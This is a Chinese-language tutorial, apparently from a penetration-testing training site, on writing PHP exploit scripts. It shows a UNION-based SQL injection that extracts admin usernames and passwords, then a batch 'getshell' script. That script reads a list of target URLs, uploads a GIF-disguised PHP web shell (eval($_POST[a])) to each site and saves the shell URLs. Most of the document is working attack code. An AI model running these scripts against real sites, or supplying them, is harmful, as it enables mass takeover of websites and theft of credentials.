[原创]WEB安全第七章exp编写篇06 getshell exp编写
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
WEB安全第七章exp编写篇04 getshell exp编写
1、简介
批量exp 有什么用,例如某个大型cms【cms内容管理系统】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src发布预警信息。
经过安全研究员摸索,poc很快地发布到网上,提供安全人员检测。 网站管理员 和运维人员
也开始 处理这次事件。
如果你的企业或任务上很多这样的网站,并不知道是否存在漏洞,总不能每个用手工去测试。
编写批量检测 这样就要提高效率,进行批量测试。
2、php学习
以前编写的exp脚本 都需要命令行运行 exp 如: php.exe exp.php 这样感觉不够人性化,也不方便。
想要在php.exe exp.php filename.txt filename.txt 里面是你要检测的网址。
如何做到这点。 php提供了一个变量 $argv 当这个变量仅在 register_argc_argv 打开时可用。 注参开 http://php.net/manual/zh/reserved.variables.argv.php
[php]
<?php var_dump($argv); ?>
[/php]
![[原创]WEB安全第七章exp编写篇06 getshell exp编写](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
[php]
<?php
$site="www.moontester.com";
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
$key ="PHPSESSID=gpcjcspj2oje5j3h2dtb8c8895";
function send_http($site,$payload,$key){
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
$out .="Cookie:{$key}\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$resp .= fgets($fp, 1024);
}
fclose($fp);
return $resp;
}
}
$html = send_http($site,$payload,$key);
if($html){
preg_match(‘/~(.*?)~/’, $html,$m);
if($m[1]){
echo "[+]{$m[1]}[+]";
}else{
echo "[!]error[!]";
}
}else{
echo "[!]error[!]";
}
?>
[/php]
批量的思路是
读取文本 每一个文本行都要进行测试 把结果保存在文本上。
这个exp 现在进行修改。修改的思路是 读取文件,将里的url遍历测试,把结果保存起来。
完整的利用代码
[php]
<?php
function http_send($host, $packet){
$sock = fsockopen($host, 80);
if(!$sock){
print "\n[-] No response from {$host}:80 Trying again…";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) {
$resp .= fread($sock, 1024);
}
fclose($sock);
return $resp;
}
function data($host,$filename){
$payload = "—————————–86531354118821\r\n";
$payload .= "Content-Disposition: form-data; name=’file’; filename='{$filename}’\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= ‘GIF89a’."\r\n".'<?php eval($_POST[a]) ?>’."\r\n";
$payload .= "—————————–86531354118821\r\n";
$payload .= "Content-Disposition: form-data; name=’sub’";
$payload .="\r\n\r\n";
$payload .="12132\r\n";
$payload .="—————————–86531354118821–\r\n";
$packet = "POST /upload.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=—————————86531354118821\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
return $packet;
}
function w($fileName,$data){
fwrite(fopen($fileName,"a+"),$data."\r\n");
}
function exploit($host){
$filename = "moon.php";
$resulit=”;
$html_str =http_send($host,data($host,$filename));
preg_match("/Stored in: (.*?)</", $html_str,$m);
if ($m[1]){
$resulit="http://".$host."/".$m[1];
}
return $resulit;
}
if(count($argv)<3){
print $argv[0]." url.txt save.txt";
exit;
}
$url_txt = $argv[1];
$sava_file = $argv[2];
$myurl = file($url_txt);
foreach($myurl as $value){
echo "Testing {$value}";
$v = substr($value,strpos($value,"//")+2);
$v = trim(str_replace("/","",$v));
$result = exploit($v);
if($result){
w($sava_file,$result);
}
sleep(1);
}
[/php]
这里的意思就是 cmd命令下 传入的值 不能小于三个 小于三个就会退出程序
[php]
if(count($argv)<3){
print $argv[0]." url.txt save.txt";
exit;
}
[/php]
读取到的文本进行遍历测试
[php]
foreach($myurl as $value){
echo "Testing {$value}";
$v = substr($value,strpos($value,"//")+2);
$v = trim(str_replace("/","",$v));
$result = exploit($v);
if($result){
w($sava_file,$result);
}
sleep(1);
}
[/php]
截取内容 http://www.moontester.com
www.moontester.com
$v = substr($value,strpos($value,”//”)+2);
终端下的命令 url.txt 要检测的文本文件,save.txt 保存文件
因为没有设置php的环境变量 所以要在php.exe 目录执行exp 文件夹里面程序就要在文件名前加上路径
php exp/exp06.php exp/url.txt exp/save.txt
![[原创]WEB安全第七章exp编写篇06 getshell exp编写](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/528.html